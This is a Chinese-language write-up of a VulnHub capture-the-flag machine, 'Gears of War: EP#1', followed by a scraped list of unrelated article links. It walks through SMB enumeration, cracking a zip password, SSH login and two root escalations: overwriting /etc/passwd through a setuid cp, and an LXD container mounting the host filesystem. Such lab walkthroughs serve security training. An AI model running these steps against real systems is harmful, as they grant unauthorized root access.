Gear_Of_War#1

下载地址:Gears of War: EP#1 ~ VulnHub

1 信息收集

1.1 端口扫描

┌──(kali㉿kali)-[~]
└─$ nmap -sV -T4 -p - 192.168.0.3
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: LOCUST)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: LOCUST)
Service Info: Host: GEARS_OF_WAR; OS: Linux; CPE: cpe:/o:linux:linux_kernel

1.2 后台目录扫描

Target: http://192.168.0.3/

[19:28:20] Starting:
[19:32:02] 403 - 276B - /server-status Task Completed
# 没东东

1.3 SMB服务安全分析

  1. nmap扫描smb漏洞

    ┌──(kali㉿kali)-[~]
    └─$ nmap -p139,445 --script smb-vuln-* 192.168.0.3
    PORT STATE SERVICE
    139/tcp open netbios-ssn
    445/tcp open microsoft-ds Host script results:
    |_smb-vuln-ms10-054: false
    | smb-vuln-regsvc-dos:
    | VULNERABLE:
    | Service regsvc in Microsoft Windows systems vulnerable to denial of service
    | State: VULNERABLE
    | The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
    | pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
    | while working on smb-enum-sessions.
    |_
    |_smb-vuln-ms10-061: false
  2. 使用enum4linux检测目标系统上的smb服务:得到marcus用户名

    enum4linux 192.168.0.3
    
    S-1-22-1-1000 Unix User\marcus (Local User)
  3. 使用smbmap枚举smb用户信息:可以无密码列出LOCUS_LAN$共享目录

    ┌──(kali㉿kali)-[~]
    └─$ smbmap -H 192.168.0.3
    [+] Guest session IP: 192.168.0.3:445 Name: unknown
    Disk Permissions Comment
    ---- ----------- -------
    LOCUS_LAN$ READ ONLY LOCUST FATHER
    IPC$ NO ACCESS IPC Service (gears_of_war server (Samba, Ubuntu))
    ┌──(kali㉿kali)-[~]
    └─$ smbmap -H 192.168.0.3 -R LOCUS_LAN$
    [+] Guest session IP: 192.168.0.3:445 Name: unknown
    Disk Permissions Comment
    ---- ----------- -------
    LOCUS_LAN$ READ ONLY
    .\LOCUS_LAN$\*
    dr--r--r-- 0 Fri Oct 18 02:06:58 2019 .
    dr--r--r-- 0 Thu Oct 17 21:51:38 2019 ..
    fr--r--r-- 332 Thu Oct 17 22:53:33 2019 msg_horda.zip
    fr--r--r-- 198 Fri Oct 18 02:06:58 2019 SOS.txt

  4. 使用smbclient命令列出smb目录并下载文件

    ┌──(kali㉿kali)-[~]
    └─$ smbclient //192.168.0.3/LOCUS_LAN$
    Enter WORKGROUP\kali's password:
    Try "help" to get a list of possible commands.
    smb: \> ls
    . D 0 Fri Oct 18 02:06:58 2019
    .. D 0 Thu Oct 17 21:51:38 2019
    msg_horda.zip N 332 Thu Oct 17 22:53:33 2019
    SOS.txt N 198 Fri Oct 18 02:06:58 2019 5190756 blocks of size 1024. 1071568 blocks available
    smb: \> get SOS.txt
    getting file \SOS.txt of size 198 as SOS.txt (16.1 KiloBytes/sec) (average 16.1 KiloBytes/sec)
    smb: \> get msg_horda.zip
    getting file \msg_horda.zip of size 332 as msg_horda.zip (81.1 KiloBytes/sec) (average 32.3 KiloBytes/sec)
    smb: \>

  5. 查看下载的文件

    ┌──(kali㉿kali)-[~]
    └─$ cat SOS.txt
    This is a message for the Delta Team. I found a file that contains a password to free ........ oh no they here!!!!!!!!!!,
    i must protect myself, please try to get the password!! [@%%,] -Hoffman.
    # msg_horda.zip解压需要密码
  6. 暴破msg_horda.zip文件密码:失败

    fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u msg_horda.zip
  7. 使用cewl收集网站信息生成目标网站字典:没东东

    ┌──(kali㉿kali)-[~]
    └─$ cewl http://192.168.0.3/ > cewl.txt
  8. 尝试组合SOS.txt文件中的[@%%,]密码,解密msg_horda.zip文件:

    #没有猜解出来
    crunch 1 6 -p [@%%,] > pass.txt # 尝试字典组合规则:成功猜解
    # -t字典组成规则
    # @:小写字母 lalpha
    # ,:大写字母 ualpha
    # %:数字 numeric
    # ^:符号 symbols
    crunch 4 4 -t @%%, > pass.txt # r44M

  9. 解压后得到key.txt文件内容:

    ┌──(kali㉿kali)-[~]
    └─$ cat key.txt
    "Vamos a atacar a los humanos con toda nuestras hordas,
    por eso puse en prision a el hombre mas peligroso que tenian,
    por lo que sin el son debiles." [[[[[[[[[[[[[[[[[[[[["3_d4y"]]]]]]]]]]]]]]]]]]]] -General RAAM.

2 GetShell

2.1 ssh登录marcus用户

# 利用`key.txt`内容中的密码:3_d4y
┌──(kali㉿kali)-[~]
└─$ ssh marcus@192.168.0.3

3 提权

3.1 尝试提权

marcus@gears_of_war:~$ sudo -l
[sudo] password for marcus:
Sorry, user marcus may not run sudo on gears_of_war.

3.2 收集当前系统信息

  1. 查看目标系统中存在哪些用户:marcus,属于sudo,lxd组

    marcus@gears_of_war:~$ id
    uid=1000(marcus) gid=1000(marcus) groups=1000(marcus),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
  2. 查找目标系统中拥有SID权限的命令:cp

    marcus@gears_of_war:~$ find / -perm -u=s -type f 2>/dev/null
    /bin/cp
    /bin/mount
    /bin/ping
    /bin/fusermount
    /bin/su
    /bin/umount
    /usr/bin/pkexec
    /usr/bin/newuidmap
    /usr/bin/gawk
    /usr/bin/chsh
    /usr/bin/passwd
    /usr/bin/newgrp
    /usr/bin/traceroute6.iputils
    /usr/bin/gpasswd
    /usr/bin/newgidmap
    /usr/bin/chfn
    /usr/bin/at
    /usr/bin/sudo
    /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
    /usr/lib/policykit-1/polkit-agent-helper-1
    /usr/lib/eject/dmcrypt-get-device
    /usr/lib/snapd/snap-confine
    /usr/lib/openssh/ssh-keysign
    /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  3. 查看当前用户所创建的文件

    marcus@gears_of_war:~$ find / -user marcus 2>/dev/null
    -rbash: /dev/null: restricted: cannot redirect output
    marcus@gears_of_war:~$ which python
    /usr/bin/python
    marcus@gears_of_war:~$ python -c "import pty;pty.spawn('/bin/bash')"
    To run a command as administrator (user "root"), use "sudo <command>".
    See "man sudo_root" for details.
    marcus@gears_of_war:~$ find / -user marcus 2>/dev/null

3.3 提权

3.3.1 cp利用SID提权

cp 是拥有root权限,利用思路,利用cp替换/etc/passwd使创建的用户具有root权限

  1. 生成账号密码

    openssl passwd -1 -salt fcarey Admin123
    $1$fcarey$Gwvaa.SgKoSQHuo5m5g2k.
  2. 复制/etc/passwd内容到新建passwd中,在最后一行添加如下内容:

    fcarey:$1$fcarey$Gwvaa.SgKoSQHuo5m5g2k.:0:0:root:/root:/bin/bash
  3. 用编辑好的passwd文件替换/etc/passwd

    cp passwd /etc/passwd
    
    
  4. 尝试登录自建的管理员用户

    su - fcarey

3.3.2 LXD GROUP提权

当用户具有lxd权限时,可以通过创建任意镜像,并将当前系统根目录挂载到镜像mnt目录下,然后通过chroot命令即可获取当前系统的root权限

  1. 查看当前用户权限

  2. 下载镜像并导入到lxd中:

    # 使用lxc下载镜像,自动创建一个ubuntu容器并导入到lxd中
    # 如果本地没有初始化过lxd,那么需要先执行lxd init进行初始化
    lxc init ubuntu: fcarey -c security.privileged=true # 自动下载ubuntu镜像比较慢,可以使用Github上构建好的镜像
    # 下载地址:https://github.com/saghul/lxd-alpine-builder
    marcus@gears_of_war:~$ git clone https://github.com/saghul/lxd-alpine-builder.git
    marcus@gears_of_war:~$ cd lxd-alpine-builder/
    marcus@gears_of_war:~/lxd-alpine-builder$ lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias fcarey
    marcus@gears_of_war:~/lxd-alpine-builder$ lxc init fcarey fcarey -c security.privileged=true
    Creating fcarey
  3. 配置容器,将宿主机根目录挂载到容器/mnt目录下。

    marcus@gears_of_war:~/lxd-alpine-builder$ lxc config device add fcarey fdevice disk source=/ path=/mnt recursive=true
  4. 启动并进入容器中,此时获取到的是容器的shell

    marcus@gears_of_war:~/lxd-alpine-builder$ lxc start fcarey
    marcus@gears_of_war:~/lxd-alpine-builder$ lxc exec fcarey /bin/sh
  5. 由于已经将宿主机根目录挂载到了容器的/mnt/root目录下,因此在容器内,/mnt/root/目录是一个完整的根目录,可以使用chroot获取到这个根目录的完整root权限

    chroot /mnt

  6. 获取权限后可以对这个被挂载的根目录系统进行密码重置,创建特权账号等一起写高权限操作。等同于获取宿主机root权限

Gear_Of_War#1的更多相关文章

随机推荐

  1. Springboot 2.3.1配置拦截器遇到的坑

    1.多个配置类继承WebConfigureSupport或实现WebConfigure接口导致拦截器失效 2.拦截器中的bean无法正常注入,SpringBoot项目的Bean装配默认规则是根据App ...

  2. K8s安装乐维5.0应用部署文档

    乐维产品包具体打包为4个镜像包,分别为:mysql5.7.36.tar.zabbix_server.tar.itops_v1_4_x86_64.tar.bpm0.1.tar,对应的配置文件分别为:da ...

  3. 【SQL真题】SQL3:每类视频近一个月的转发量/率

    题目: https://www.nowcoder.com/practice/a78cf92c11e0421abf93762d25c3bfad?tpId=268&tqId=2285068& ...

  4. Qt栅格布局、ScrollArea和用户选择界面

    用户选择界面 就我们在实际开发的时候可能需要面对这样一个界面 做个demo试试看 其实我们可以分解一下这个界面 就是除了控制相关的内容,最主要的就是这个界面之上,有一个个动态的输入的控件,上面都是学生 ...

  5. APP兼容测试点与WEB兼容测试点

    APP兼容测试点 WEB兼容测试点

  6. 微服务系列之服务监控 Prometheus与Grafana

    1.为什么需要监控服务   监控服务的所属服务器硬件(如cpu,内存,磁盘I/O等)指标.服务本身的(如gc频率.线程池大小.锁争用情况.请求.响应.自定义业务指标),对于以前的小型单体服务来说,确实 ...

  7. Django框架:10、Ajax补充说明、多对多三种创建方法、Django内置序列化组件、批量操作数据方法、分页器思路、form组件

    Django框架 目录 Django框架 一.Ajax补充说明 1.针对前端回调函数接受值的说明 二.多对多三种创建方式 1.自动创建 2.纯手动创建 3.半自动创建 三.Django内置序列化组件 ...

  8. 或许是市面上最强的 Mock 工具

    背景 在开发过程中,由于后端与前端并行开发,或者前端需要等待后台开发,难以保证对接效率,同时即使用开发好的 API 对接,也有可能一个 API 不通就阻塞了整个软件的对接工作.同时对软件的敏感度也很高 ...

  9. kali安装拼音输入法

    前言 最近使用kali感觉没个中文输入法的很不方便,于是决定装个ibus的拼音输入法 安装方法 1.安装ibus 使用命令apt install ibus ibus-pinyin,注意使用root权限 ...

  10. 工业数据分析为什么要用FusionInsight MRS IoTDB?

    摘要:MRS IoTDB,它是华为FusionInsight MRS大数据套件中的时序数据库产品,在深度参与Apache IoTDB社区开源版的基础上推出的高性能企业级时序数据库产品. 本文分享自华为 ...